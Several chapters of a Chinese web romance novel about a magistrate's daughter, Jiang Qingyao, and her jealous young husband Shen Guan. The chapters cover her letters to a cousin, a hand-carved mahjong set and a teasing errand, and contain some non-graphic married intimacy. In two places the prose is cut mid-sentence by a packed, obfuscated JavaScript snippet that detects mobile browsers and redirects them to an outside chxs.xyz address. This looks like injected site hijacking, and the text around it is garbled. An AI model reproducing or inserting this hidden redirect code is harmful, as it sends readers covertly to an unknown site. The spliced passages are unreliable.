说是克死,也只能算是好听的说法,其中蹊跷,岳薇的父亲岳成济,不可能不知道。 这是在把岳薇往火坑推。 岳薇心里也清楚,捂着脸哭:“我拒了,我问阿爹,若是我小妹,他可还会定这样一门亲事?” 岳薇是庶长女,正室生的女儿比她小两岁。 “阿爹当时没说什么,只说拒了就拒了。”岳薇擦擦泪,“但我知道,他还没打消这个念头。” 岳薇问姜清杳:“清杳,你会一直把我当朋友吗?” 姜清杳怔了怔,牵住她的手,很肯定很肯定的点头。 姜清杳送岳薇回了府。 又遣人去告诉沈观,她要回一趟姜府,让沈观不要跑空了。 姜清杳回了自己的院子,找出一个装钱的小匣子,里面都是她这些年攒下的。她拿去钱庄换了便携的银票,在街上买了几朵绢花和帕子,将银票放在匣底,铺上帕子摆上绢花,托人送给岳薇,说是新得来几朵绢花,要送给她戴。 两个姑娘感情一向好,来往送绢花,送簪子是常事。 岳府的人打开看了一眼,就交给小丫鬟递给了岳薇的住所。 岳府的人丁兴旺,光是妾室就有好几房,更别提公子小姐。岳成济一个县尉薪金养一大家子,虽说还有些旁的来钱手段,但总归发下来的月例银子是很少的,公子比小姐,嫡小姐又比庶小姐多。 因此岳薇没什么积蓄,姜清杳是知道的。 姜清杳送完东西,在街上逛了一圈,路过一家小摊,卖的有摊主自己编扎的剑穗。有一枚剑穗上挂着一个手织的小剑和流苏,看上去很别致。 姜清杳爱不释手。 她一时喜欢买下来,回去的路上,思来想去,自己不用剑,身边也没有人用得上。 只有自小青梅竹马,后来随军去了的表哥用得上。 姜家亲缘关系浅,姜清杳小时候的玩伴不多,只有母亲那边的几个表哥表姐,逢年过节的常常要聚一聚,一来二往,姜清杳和大表哥秦轩玩的最好,感情深厚。 只可惜后来大表哥读书不行,从武去了。不过分别前答应姜清杳会常常给她写信寄礼物,姜清杳礼尚往来,这么多年了,一直维持到现在。 姜清杳回府便找了信纸,写了一些自己的近况,写了几月前太襄州府的知府娄乐山以势压人,写了姜县令不愿让她进宫想了许多办法。 想起沈观,姜清杳犹豫了一下,还是没在信中写有关于他的笔墨。 她写完,想起岳薇的事,又让表哥留意留意身边有什么格外优秀的青年才俊,最好年纪轻,长相俊,挣了军功的。 鸡零狗碎的写了一通,想到什么就写什么,最后足写了三页纸,又在尾页将炭笔换成狼毫,用沈观教她的字体写上,炫耀自己最近练字颇有成效。 姜清杳折好,将剑穗也一并放到信封里,还是老样子,让半夏找人捎带给秦轩。 没有过多久。 可能半个时辰,可能一个时辰。 姜清杳印象很深的那个侍卫,拿着那封厚厚的信,送到了沈观的手里。 信页上是用狼毫笔写着的大字,大表哥秦轩亲启。 11. 第 11 章 沈观面无表情地看完了。 信封很厚。用着沈观教她写的字,写着秦轩的名字,向别的男人邀功似的炫耀。 足足写了三页纸,一字一句都是姜清杳的近况,吃喝玩乐,样样都说了,唯独没有提到沈观一个字。 沈观忍不住恶劣地想,清杳,是不想让他知道你成婚了吗。为何还要他帮你留意什么所谓的青年才俊。还要年纪轻,长相俊,有军功。 少年抿唇,捏着那枚剑穗,长睫低垂,掩住了眼底的情绪。 信里姜清杳写,她无意间看到,很喜欢,但是自己用不上。想起表哥是用剑的,应该能更好的利用起来,便转赠给表哥。 沈观攥紧剑穗,心口郁郁。 清杳,分明他也会剑。 沈观今日回来的很晚。 一直到戌时三刻,才见到他的身影。 姜清杳都已经沐浴过,她今天洗了发,才擦得半干,正对着暖炉细细梳着。 见沈观回来,面色也有些苍白的样子。 连忙问:“沈观,你怎么了?怎么今日回来的这么晚?是遇上什么事了吗?” 姜清杳担忧的看他。 沈观顿了脚步,盯着她看。 姜清杳无疑是美丽的,乌黑云鬓,巴掌大的小脸,眼波流转,花瓣一般娇艳的唇微微张着,纤长的颈侧是散落的墨发,对比得她肌肤更白,更莹润。里衣松散,隐约可以窥见一点春光。 沈观看了又看,半晌闷声:“没事。我先去沐浴了。” 他在浴间待了很久,出来的时候姜清杳的头发已经干了,简单的挽了一下,准备上床。 沈观在一旁默不作声,视线倒是没离开过姜清杳半分。 姜清杳捂进被窝,沈观跟着上来。 他少见的没朝她靠近,低着眼不知道在想什么。 姜清杳观察他,总觉得他脸色还是不怎么好看,像美玉蒙灰。 她猜测:“你心情不好?” “嗯。”沈观诚实地嗯了一声,视线灼灼。 姜清杳侧过身,朝着沈观这一侧睡,饶有兴致:“碰上什么事儿了?”这人整日里笑吟吟地,难得见他闷不吭声一回。 她动,自己也没察觉到不知不觉间,朝沈观那近了几寸。 沈观盯着两人之间的距离,心想,若是再近两寸,两寸,他就要牵姜清杳的手,要亲她,要吻她,要抱紧她,嵌进去,和她十指相扣,让她再不能给别的男人写信。 沈观答她的话:“本该是我的东西,被送给旁人了。” 那剑穗本就该是他的。姜清杳是他的。姜清杳的剑穗也该是送给他的。 他们是夫妻,是成过亲,明媒正娶,拜过天地喝过交杯酒的夫妻。 她是他的夫人,她该唤他夫君。 他们要生生世世在一起。 “什么?”姜清杳有些没听清,沈观今天说话的声音好轻。 姜清杳不得不靠近一些。 沈观盯着两人之间的距离,紧紧盯着。 又近了一点。少女的里衣也更散了一点。 沈观手心发烫,沉默半晌,姜清杳等不到他再说话,不想再凑近,准备窝回自己的被窝了。 沈观忍不住道:“清杳,你过来些。我有事和你说。”声音有些艰涩。 什么毛病? 刚才不说,自己准备睡了又要说。 姜清杳微蹙了眉,看小狗用漂亮的眼睛央求着看她,很渴求的样子,眼尾都红了些。 可能真有什么伤心事吧。 姜清杳抱着这样的想法又靠近了一些。 迎来的是少年堪称粗暴的吻,毫无章法,仿佛要将她拆吃入腹,大手按着姜清杳的后脑勺,另一手牵着她的手和她十指相扣,践行了自己刚才的想法。 冬天的夜总是更深邃。 也更冷。 姜清杳睡得正香。 迷迷蒙蒙间听到沈观在唤她。 “清杳。清杳。” 姜清杳捂着耳朵,这声音也防不住,只好半睁开眼,侧过头一看,沈观蹲在床边,不知什么时候穿戴整齐了,还穿一身烫金窄袖长袍,腰间用玉带束着,乌发用一根发带绑着。 他蹲在床边,眼睛亮亮的,见姜清杳醒了,看到他的打扮眼有一丝惊艳,睡意都散了些。 她喜欢他这样穿,沈观更高兴了。 他捧着他的剑,邀功似得说。 “清杳,我舞剑给你看。” 姜清杳懵了下:……什么? 舞剑,现在? 她甚至看了看外面的天色,怀疑是不是早上了。 但是没有。还是冬日的夜。一点晨曦的光都没有。 是不是有病? 大半夜的,压着她胡闹一通后,现在又要给她舞剑看。 姜清杳最终还是向沈观妥协了。 不得不说,他今日,不,今夜这身打扮确实很俊美,修长的身形,面若冠玉,皎如玉树。 这样的俊美少年要给她舞剑看。 姜清杳象征性的犹豫三秒,裹着厚厚的大髦,半躺在沈观给她准备好的贵妃椅上,一旁还贴心地放了热茶,甜酿。 姜清杳想了一下,这人半夜不睡觉,煮茶,烧酿,还要舞剑。 沈观还有要求,就是他在舞剑的时候,姜清杳不能低头。 要认真的看他,不能漏了一分一秒。 姜清杳:…… 是不是还得写八百字观后感? 少年人精力就是旺盛,热血沸腾地舞了一遍,时不时地要观察姜清杳的表情,见她确实喜欢,也确实惊艳,还夸他:“我还是第一次知道你会舞剑,还舞得这样好。” 沈观就很得意,甩着剑花,兴致盎然的要再舞另一首给她看。 姜清杳有些困,又见不得他的小狗表情。 少女委婉道:“今天看了一首了。来日方长,以后你可以常常给我舞不一样的看。” 沈观被她的来日方长哄得小狗尾巴都快现行了。 更是姜清杳说什么是什么,乖乖地抱着姜清杳回屋睡觉去了。 又过了几日,沈观不知从哪里找来一堆骨头,玉石,成天在他的书房里鼓捣。 姜清杳去看得时候,他正在一块打磨得方方正正的玉石上刻字。 玉石不大,大约是个玉牌的大小,但更厚些。 姜清杳在一旁把玩着几个没雕刻过的。 沈观由着她乱动,问:“清杳,你想在抚阳县还是溪金县过年?” 今年过年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924023|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早些,还有不到一个月就过大年了。 姜清杳自然是想在抚阳,想在姜府,和姜县令一起过年的。 只是早早就答应了沈观父母,会在过年前后去看望她们的。 这问题不好答。 姜清杳想了想,还是道:“我想在抚阳过年。” “过完年去溪金看望你父母,好吗?” 她和他商量,沈观父母腿脚不便,既然已经成婚,不去看望一下有些说不过去,但姜清杳也有私心,姜县令是她两世以来对她最好的人。 她如果不在,那姜县令岂不是孤孤零零。 沈观闻言,抬头看了她一眼。 “何须这么麻烦,你想在抚阳过年。那过些日子我们去溪金玩几日,赶在过年前回来,安心在抚阳过年,也免得奔波,何况岳父这里人丁不多,更应该陪着的。” 他说的都在她心坎上。 姜清杳松口气,笑眯眯的赞成了。 她心情好了,来了兴致问沈观这是在做什么。 “我在书里看到的,一种玩乐的牌。想着做给你玩。”沈观将手里刻好的一块玉石给她看。 沈观还没给玉石上的字上色,因此姜清杳方才没认出来,这会儿拿在手里一摸一看,这不就是一块还差打磨光滑些的麻将牌吗? “麻将!”她惊讶。 沈观:“麻将?这是哪里的叫法?书里写这是巴蜀那里的一种玩乐牌,称做石头牌。” 石头牌? 姜清杳是听过的,因着玩了叶子牌,手痒痒想起来了麻将。奈何抚阳这里是没有的。前几日她写给表哥秦轩的信里还问及了这事儿,表哥的军营在巴蜀交接处,石头牌是他们那儿当地的一种玩法。大多是石头做的。 沈观用玉石代替了。摸着更光润。 “你竟会做这个?”姜清杳惊喜,观察沈观,见他游刃有余的样子,不由得想,这样改日要给表哥去信一封,沈观既然会做,那便不用他帮忙寻了送来了。 沈观轻哼一声:“你想要什么,同我说就是了。” 好大的口气。 但姜清杳看少年傲娇的样子,忍不住笑,双手合十的拜托他:“沈观,那能不能请你刻一个玉牌,寓意福寿延绵的那种,我想送给我阿爹。” 少女十指纤纤,语气娇嗔,眼睛亮亮地拜托他。 沈观看得愣了愣,闷闷嗯了一声。耳后有些红。 姜清杳见他答应了,连忙跑回屋里找到她的那块宝贝和田玉,捧着给沈观。 沈观端详一下,是个好玉料。 他放下手上的事,展开张宣纸,提笔划了大概的样式,侧眸问姜清杳:“这样?” 姜清杳歪着头看了下,比比划划:“再大些,我爹脖子粗,戴大的玉牌好看。” (此时此刻远在衙门的姜县令:……) 沈观笑了下,又按她的意思重画。 “在这刻字,这儿刻花纹。”姜清杳指指点点。 她说的意思是,一半刻上字,另一半刻上花纹。 重度强迫对称症患者沈观沈君珩表示,这能好看吗? 沈观皱眉:“清杳,这都不对称。”他就差不好看说出来了。 姜清杳眨眨眼,无辜问:“为什么一定要对称?” 12. 第 12 章 姜清杳觉得玉牌上花纹和刻字完全对称显得太寻常也不够漂亮。 很显然姜清杳不认为事物一定要是对称才好看,东西一定要成双成对才满意。 但这却是沈观的怪毛病。 沈观沉默了。 在姜清杳的拜托下,艰难地提笔按她的意思画出了玉牌雏形。 少年低声问:“这样吗?” 寥寥几笔而已。 姜清杳眼睛亮了亮。 “好看,就这样刻好吗?” 沈观看看她,又看看玉牌。 好在姜清杳对他的怪毛病并不是一无所知的,至少他借着这个理由,不知道多少次在夜里用大手半握着她的腰肢,一边在耳边呢喃央求着,一边动作却半分不缓,不知疲倦的掠夺。 姜清杳想了想,有些迟疑的问:“那我找别人按着这个图纸刻吧?” 抚阳县有个颇有名气的年轻玉雕师,据说是祖辈世代传下来的手艺,曾经因为一起玉佩失窃案和姜县令结缘,和姜清杳也不算陌生。 甚至,姜县令还曾经想为两人说亲结缘,后来不知道因为什么作罢了。 沈观抿唇,按着图纸:“我来刻。” 他似乎有些不悦。 姜清杳有些茫然,回屋想了半天,觉得可能是因为雕玉这事儿很耗心神,也占时间,自己太过麻烦沈观了,对方不好直说,勉强应承下来。 才导致看上去有些不悦。 姜清杳是有事儿说事儿的性子,思及这里,干脆就跑去沈观书房问他。 少年正认真的雕刻着手中那块和田玉,已经初见雏形。 他听着姜清杳说,面无表情,手上动作也没有一丝差错。 良久,沈观有些无奈。 “并不是这样。” “是我一时想岔了。并不是不愿意,清杳不要误会。” 沈观放下手中玉,揉了揉额角,好笑又无奈地看着姜清杳。 “清杳原本可是打算找燕洵帮忙?” 姜清杳点点头。 沈观抿唇:“我听闻,他曾向姜府提亲。” 姜清杳眼睁圆儿,连忙摆手道:“听谁说的?没有的事,没有的事。” “只是阿爹欣赏他的为人,随口提过一句罢了。” “燕洵回拒了,我也没有旁的想法。” 她一连解释了好几句,也算是明白沈观为什么会不悦,不由得有些抓狂懊恼,心想为何古代的谣言威力也这么大,只是姜县令曾在厅堂说的一句玩笑话,竟被传了出去。 还夸大了不知道多少倍。 老天,沈观还是这几年才来的“外乡人”,连他都听说过这事儿,会不会姜清杳不知道的地方早传遍了这个版本谣言。 姜清杳手忙脚乱的解释一番。 沈观这才展颜。 没出几日,他便刻好给姜清杳。精致漂亮,很是用心。 姜清杳喜欢极了。拿在手里左看右看。 沈观就问姜清杳想不想学镌刻技艺。 姜清杳闻言,惊讶地看了他一眼,头摇得拨浪鼓似的,理直气壮道:“太麻烦了我不学,再说了,你会就好了。” 是睡觉不香吗? 咸鱼暗暗想。 也不知道这句话哪里戳到沈观的笑点了。 少年很少见的开怀大笑起来,音色清越,好一会儿,才蹲在姜清杳身边,仰头笑吟吟着看她,一双眼亮亮的。 好好坐着的姜清杳:? 她迟疑了一会儿,抬手摸了摸沈观的发顶。 沈观眨眨眼,并不抗拒,他说:“清杳,你说的对。我会就好了,清杳需要什么,我都可以做好给你。” 姜清杳:真的好像大狗狗啊。 她又摸了摸他的发尾,手感很好,发质和自己比有些偏硬,乌黑华顺。 黏人的大狗狗。 沈观又暗暗地去牵她的手,和姜清杳靠着的地方开始体温升高。 姜清杳一低头,就见他眼神不对劲儿,她属实是有些怕了沈观的好精力,索性一股脑儿的把他发顶揉乱,飞快的跑开,留沈观一个人平复。 她总是有意无意地拒绝沈观。 少年气盛,两人新婚,沈观看出她隐晦的不愿,虽然不解,但遵循了姜清杳的意思,又过了几日,沈观终于在又一次收到姜清杳写给“表哥”的信件时,忍不住爆发了。 他捏着那张薄薄的信纸,反复的看,一字一句,字字斟酌。 是一纸寻常的问候。 信中又提到了军营中的青年才俊。 又强调了最好要有军功在身。详细描述了身高,样貌要求。 沈观郁郁。 在脑海中浮现出一张眉峰凌厉,身材魁梧的将士形象。 难道清杳心悦这样的吗? 他对镜自照,明白自己和姜清杳的心悦的模样相去甚远。 少年身姿挺拔,面若冠玉,文人清骨。 沈观更郁郁。 他已决定走文路致仕,现在转武路怕是行不通了。 他年已十七,若要一门心思学武,需得更早些打下根基。 沈观自认,是断不会给姜清杳机会再寻她心悦的二婚夫君的。 早起便更加刻苦练剑,将用不尽的精力都挥舞出去。 直到姜清杳忍不住问他:“沈观,你三月是要下场考武状元吗?” 沈观摇头,沉默不语地拭剑。 “那你怎么练剑练这么频繁,最近都少看你往书房读书了。”姜清杳皱眉。 沈观抿唇:“想练剑。” 这是什么说法? 姜清杳去拽沈观的袖子,沈观一时不察她的靠近,担心剑锋锐利伤了她,翻手将剑丢在了一旁。 剑身砸在地上,清脆悦耳的声音响起,沈观半搂着她在怀里,低头仔细查看了一番才皱眉低斥:“我手里拿着剑,你就这样贸贸然冲上来,若是伤到怎么办?” 练武之人反应不比寻常,贸然冲过来,下意识都可能伤到人,更诓论他手上提着剑呢。 姜清杳被他说的一愣,看一眼被他丢在地上的剑,又抬头看沈观分明训斥,却担心她受伤的眼神。 她是知道沈观有多宝贝他那柄剑的。 从不经旁人手,日日都是自己擦拭护养。 她指指地上:“你的剑。” 沈观瞥了一眼,正色:“等会儿再捡,姜、清、杳,我方才说的话你听进去了吗?” 姜清杳乖乖点头。 “我知道了。” “可是你刚才还没回答我,最近怎么总是练剑,却不写文章读书了。” 少女在他怀里,久违的 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“沈观!”姜清杳被他烫得心绪紊乱,一双眼水漉漉的,“你先松开我,我们进屋……进屋再说好吗?” 沈观不说话,他长久凝视她,稍稍低头,去吻姜清杳。 姜清杳整个人都被他紧紧禁锢在怀里,只能任君品尝。 一吻毕,两人皆是眼尾耳根通红,寒冬的天,却一点也感受不到冷意。 沈观愈发过分了。隔着衣料,姜清杳的小腹周围都是他的温度。 姜清杳咬唇,她挣不开,只能软了语气:“君珩,外面冷。先进屋吧。” 少年吻她耳后,掐着她腰的手钳制如初。 姜清杳不得不软声:“夫君,我冷。” “进屋吧好吗?” 沈观闻言,怔了怔,眼一眨不眨的看着姜清杳,手上松了松。 直到姜清杳又忍着羞意,揪着他的衣角催:“夫君。” 沈观终于缓缓嗯了声。 姜清杳这才惊觉,他的声音早已喑哑的不像话,方才竟还算克制的。 屋门关上了,院中剑躺在那儿。 半夏和芸香两人对视一眼。 “姑爷的剑。” “姑爷呢?” “不知道。” 一直快到晚膳,沈观从房里出来,想去给她找干净衣裳,姜清杳的声音很低,喊住他。 “别让半夏和芸香进来。” 一个下午,太荒唐了。姜清杳玉白脸颊上的涨红便没消退过。 帐暖生香,任谁一进来,便知道这屋里下午发生了什么。 沈观神色餍足,笑着应她:“好。” 姜清杳捂着脸,拉过锦被,开始懊恼,一边恼沈观不知节制,咬着她便不松口,比上次还要过分,也不知道下次是不是真要坐实她说的一夜八次了! 身上泛着酸,姜清杳又懊悔自己一开始便应该和沈观约法三章的。 等沈观找了干净衣裳来,进来前,挥退了半夏和芸香,平静道:“清杳让你们不要进去。” 姜清杳不知道外面两个小丫头以为自家小姐不需要她们了,心碎了一地,抱头互相安慰。 13. 第 13 章 屋里,姜清杳见沈观来了,支使他将木窗打开透透气,又让他在香炉里添了味清淡些的香料。 沈观照做,又凑过来想帮姜清杳穿衣。 被姜清杳打了下手。 少女眼儿圆圆,瞪了他一眼。 沈观收回手,摸摸鼻尖,心知自己要得有些过分了。 他试图弥补:“清杳,晚膳想吃什么?” 姜清杳低头系衣带,指尖有些轻颤。 她垂眸弄了一会儿,实在乏力,索性松开手,又瞪了沈观一眼。 沈观心领神会,靠近过来,认真地帮姜清杳系好,穿上,又倒了水来小口小口的喂给姜清杳喝。 喝完水。 姜清杳眼珠一转,指使沈观:“我今日不想吃府里的膳食,日日都是那几样,有些倦了。” 沈观问:“清杳,那你想吃什么?” “我要吃城郊李婆婆家的炸撒子。我要你去买。” 沈观有些困惑:“城郊有这家铺子吗?” 姜清杳眼神飘忽一瞬,很快坚定地点点头:“有的。” “只是远了些,你是不是不愿意去给我买?” 姜清杳鼓着脸,侧过身去。 沈观眨眨眼:“愿意的,我去买。” 姜清杳就很高兴,一连点头,催他:“太好了,你快去吧,一定要买到那家炸撒子,我晚上就想吃这个。” “买不到这个,我就不吃了。” 后半句话一说出口,沈观便蹙眉,迟疑了一瞬还是没说什么,在姜清杳的催促下出发了。 他人一走,姜清杳便唤了半夏和芸香进来。 两个小丫头一进来,就一左一右抱住姜清杳的小腿,眼泪汪汪的,齐齐开口:“小姐,你是不是不要我们了?” 姜清杳:……? 这一天天的,两个小丫头自从她成婚后越来越好玩儿了。 她一人敲一个脑瓜子。 半夏就比比画画,说刚才姑爷传话,说是小姐不要两人进来伺候。 两个小丫头可怜巴巴的。 原是为了这事儿。 姜清杳眼神游移一瞬,自然不能说是为什么,索性转开话题:“我有些饿了……”让小厨房上晚膳。 话都没说完,两个小丫头就争相表现,一溜烟儿跑出去。 “我去给小姐取晚膳。” 沈府宅邸大,虽没多少主子,但仆从却一个不少,因此有大厨房和小厨房之分。 大厨房是做整个沈府的晚膳的,当然主院的膳食也是单独做的,但比起小厨房却精致不足。 但小厨房是做不了大热菜的,只能做些精致的点心,汤膳,主要还是做小吃,下午茶用。 姜清杳虽饿,但想起大厨房的大鱼大肉便没什么胃口,只想吃些精致小吃,汤膳。 但芸香和半夏已经去了,姜清杳怕麻烦,便没再使人去唤她们回来。 果不其然,两人提着食盒回来,摆满一桌,都是些鱼虾肉,油气重,姜清杳吃了几口半夏剥的虾,便摇头让人撤下了。 芸香去沏茶回来,正撞上几个沈府的丫头在吃主子撤下的膳食,这是大宅院里的潜规则,姜府也一样。主子不吃的膳食也比府里给丫鬟小厮的份例好上百倍。 她粗粗打量一眼,便知姜清杳没怎么吃。 芸香给姜清杳沏了杯茶,担忧:“小姐,你午膳便没怎么用,晚膳还吃这么少。” 要知道,姜清杳她爹,姜县令常夸的便是自家女儿胃口好,不挑食,样样都吃,养的气血红润,亭亭玉立。 姜清杳吃不下饭,少见极了。 姜清杳明白芸香的意思,可怜巴巴的:“不想吃这些,想吃些零嘴。” 这便也是姜清杳的坏毛病了。 爱吃零嘴,时常为着吃零嘴填了肚子,正餐便不爱吃了。 姜县令屡屡管教,最后严加勒令姜清杳的两个贴身侍女,控制姜清杳平日里吃零嘴的量,不许多食。 芸香有些无奈,正想着和半夏去小厨房做些。 沈观回来了。 他两只手满满当当,一手拎了四五个油纸包,一手提着几份汤食甜点。 姜清杳眼睛一亮,当时便想起身迎上去了,看看他都带了些什么回来。 才要起身,便想起自己的初衷。 起因是姜清杳觉着沈观愈发过分,有心捉弄报复他一下。 哼,沈观不是气盛,精力好吗?那也不能欺负她,一身力气都用在她身上。 姜清杳便报了个压根儿不存在且很远的铺子要他去买炸撒子。 铺子虽然是假的,但姜清杳想吃炸撒子的心是真的。 她眼神控制不住的往沈观手里几个油纸包去看,观察哪个是炸撒子。 想到一半,又立刻正色。 姜清杳克制着不去看他手里的东西,问:“买回来了吗,城郊张婆婆家的炸撒子?” 沈观:…… 他纠正:“李婆婆。” 姜清杳前脚扯谎说的铺子,后脚便记错了名,脸色通红,羞的,心虚的。 她强自镇定:“喔,我说错了。” “买到了吗?” 沈观诚实的摇头:“我跑了一圈,也没在城郊寻见这样名字的一家卖炸撒子的铺子。” 捉弄到他了。 姜清杳偷笑,但还是佯装惊讶:“怎么会呢,往日里芸香和半夏都是去那儿给我买的。是不是?” 她朝两个小丫头递眼神,两人很上道的就点头。 “对啊对啊,确实是有的,姑爷没找到。” 这几日很有危机感的半夏趁机挑拨离间:“是不是没认真找啊。小姐,要不然让我去吧。我一定会很认真的找到买来给小姐吃的。” 姜清杳:…… 呃,两个小丫头有点太投入的配合演出了,她一时都想不出话茬来。 沈观沉默会儿,似笑非笑的看着姜清杳和她的捧哏一唱一和。 少年先将手里的东西放下,一一摊开。 他一边打开油纸包,一边说:“兴许这铺子倒闭了也不一定,清杳若一定要吃这家的,我等会再去寻。” “你先看看这些喜不喜欢,垫垫肚子。” 沈观一边说,修长手指一边拆着油纸包。 这些吃食零嘴都摆在姜清杳面前,刚一放上来的时候,扑面而来的香气便溢出来。 说什么来什么。 姜清杳心急的看着沈观拆油纸包上的绳子,恨不能自己抢过来看看是什么。 她敢肯定她闻到炸撒子的香味了! 好想吃。 她喜欢! 快点拆。 姜清杳心里雀跃地跳来跳去,面上矜持优雅,眼睛一眨不眨的盯着沈观的动作。 桂花糕!糖葫芦!烤鸭!酒酿小圆子!炸饺子!……… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924025|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈观拆了一包又一包,她口水咽了一下又一下。 只剩最后一包的时候,姜清杳可以肯定里面装的就是炸撒子了。 她最想吃的。 沈观却不拆了。 他好像有些懊恼,拿着那个油纸包:“这个不是清杳爱吃的那家李婆婆炸撒子,我没寻见,便在城东一家铺子买的,买的人也不少,可惜了。” “不是清杳爱吃的。” “清杳,先吃这些垫垫。”沈观也没放下那包炸撒子,提着准备转身,“我再去找找。” 姜清杳若再不知道沈观早识破了她想要捉弄他的心思,那才是真的大笨蛋了。 她耳根发烫,小小声:“沈观,不用去了。” 沈观笑吟吟地转身,垂眸看着姜清杳拽着他衣角的纤手。 “不吃城郊李婆婆家的了?” 姜清杳脸红红的,摇头:“不吃了,就吃你买的这家。” 她盯着沈观手里的东西,又偷看他一眼,暗戳戳的伸手想要去接过来。 沈观看姜清杳,越看越可爱,顺势给她了。 姜清杳打开油纸包,炸的金黄酥脆的撒子终于露出来,咬一口脆脆的,香香的,好吃极了。 沈观在一旁托腮。 看着姜清杳吃,她吃一会儿炸撒子,又喝一口酒酿小圆子,再咬一口桂花糕。 他问:“好吃吗?” “嗯。”姜清杳吃开心了,投桃报李,捏了一根炸撒子递给他,“你尝尝,特别脆。” 沈观没接,就着姜清杳的手,让她喂到嘴里。 他咬了咬,点点头,不再吃了。沈观并不很爱吃这些零食。或者说是从来不吃的。 但姜清杳顺手投喂,他都乖乖吃了。 吃饱喝足后,姜清杳四处走了走消食,晚上的时候,沈观在书房,姜清杳也过来了。 沈观落下最后一笔,一篇锦绣文章写好,搁在一旁,转而去看向明显有事的姜清杳。 她端了一蛊汤来。美其名曰说沈观读书辛苦了。 颜色清浅的蛊汤,沈观捏着瓷白的小勺搅了搅,有些沉默。 是份汤膳,加了些知母黄柏,有清热润燥的功效,也……可缓少年气盛。 沈观不觉得自己需要喝这个。 但姜清杳实在受不住他。 姜清杳见沈观没什么表情,便猜他知道这汤加了什么,便上前一步,一鼓作气道:“沈观,我要和你约法三章。” “喔?”沈观坐姿端正了些,洗耳恭听。 姜清杳憋了半天,还是从袖中拿出张笺纸来。 “你自己看吧。” 沈观展开,粗略一扫,便看完了。姜清杳在一旁催他:“你在下面按个手印,便算答应我了。” 她说约法三章,便真是写了三条。一则是要求沈观不许再乱听了谣言来问她什么,二则是要求沈观以学业为重,少回房来睡,三则是要求两人行房事要克制,一周一日,一日不可贪多次。 前面都算虚晃一枪,后面最后一则才是姜清杳的真正意图。 沈观惯会得寸进尺的,总是瞧准她心软,哄得她心甘情愿答应了,事后又懊恼。 她定要一开始便将这条线设的高高的。这样即便是自己意志不坚定,被他多哄了几次,自己也受得住一些。 姜清杳心里打着小算盘,观察沈观的反应。 沈观将那张纸又叠起来。推还给她。 14. 第 14 章 姜清杳又推回去。来回几次。 沈观:…… 他实在有些无奈,扶额笑道:“清杳,平白无故便要让我答应这样不合理的约法三章,你总要同我说个理由。” 他牵她的手,握着她纤纤十指把玩揉捏。 姜清杳的丹蔻前几日沈观又给她补了一次。这几日丹蔻色泽正亮,嫣红漂亮,显得肌肤雪白。 姜清杳觉得他态度有些松懈下来,就小声说:“我不舒服。” 沈观愣了愣。 姜清杳又凑近些,贴着他耳朵:“你每次不管不顾地,刚开始时,我都很疼。” 沈观耳后也慢慢红了。他也放轻声音,小声问:“是因为弄疼你了,你才不愿意,总是推拒我吗?” 他还以为,她是不喜欢他。 姜清杳点点头。一双眼眨眨,脸更红了。 “你弄得我疼,总是到后面才好些。可太频繁,我受不住你。你给我的那罐药膏都用完了。” 姜清杳有些委屈,小声控诉沈观。 她本就吞吃他艰难,这人还是个心急的主儿,从不知道慢慢来,被她推拒几次,下一次便更变本加厉,好像要把素的那几日都讨回来。 久而久之,姜清杳便更抗拒此事了。 沈观偷看了姜清杳的信,却又误会姜清杳是不喜欢他,才抗拒此事,因此醋意翻腾。 误会解开,两人呢喃细语。 沈观自责,轻吻她指尖,向姜清杳道歉:“是我不好。” 姜清杳都是避着沈观上药的,他白日去书院,一日见不到姜清杳,回了沈府见到她,便总是想抱抱她同她说说话,却不曾注意到这事。 经过这一次,沈观克制许多,和往常比,夜里更少碰姜清杳,白日仍是如往常一样,定要牵着手或者挨着坐的。 转眼快到年关,姜清杳同姜县令说了她与沈观的行程。 姜县令得知女儿会在年前赶回来一同过年,喜上眉梢,笑眯眯的吩咐人准备了不少年礼,要随车送过去。 同时又叮嘱姜清杳,溪金县沈家人丁兴旺,宗族复杂,不像成婚这一个多月,只有沈观和姜清杳两人,上没有老下没有小,两人便是沈府最大的主子,沈观处处依她,日子自然舒心。 “到了那里,遇到长辈便谦虚些,避开些,若是刁钻的长辈,问你什么你便答不知道就罢了!不必什么都回应,就像你往日去那些宴会,能躲则躲。只拜过年送过礼就好。” 姜县令又絮絮叨叨的叮嘱了许多,仍是不放心,临行前上马车,他拉着姜清杳又叮嘱一遍。 沈观在一旁,姜县令顺便也念叨了他一番。 少年倒都恭谦的应下,句句有回应,姜县令这才放下心来,顺便指了指他身后跟着的一个侍卫。 “这回让宗阳也跟着去,一路长途,也好有个会武的关照你们。” 宗阳是姜府的侍卫,平日姜清杳出府时,宗阳会随行保护她的安危。 据姜清杳她爹,姜县令说,宗阳曾在一家很有名的镖局走镖,有一回接了大单,却遇到朝廷判军,走镖局的虽是一身武艺和胆识,可到底敌不过真金白银砸出来的正规军营出来的兵。 那趟镖失败,这个镖局也因此一蹶不振,连宗阳这样在镖局呆了十几年的老人也不留了。 姜县令便是这时请他来姜府的。 彼时姜清杳已是豆蔻年华,小少女亭亭玉立,隐约可窥见未来国色之姿。姜县令那时起便不怎么放心姜清杳独自出门了。 这回从抚阳到溪金,姜县令嘴上不说,心里却是不太放心的。 姜清杳清楚,便不会辜负老父亲的心意,从马车里探出个脑袋,露出个灿烂的笑。 “宗叔!” 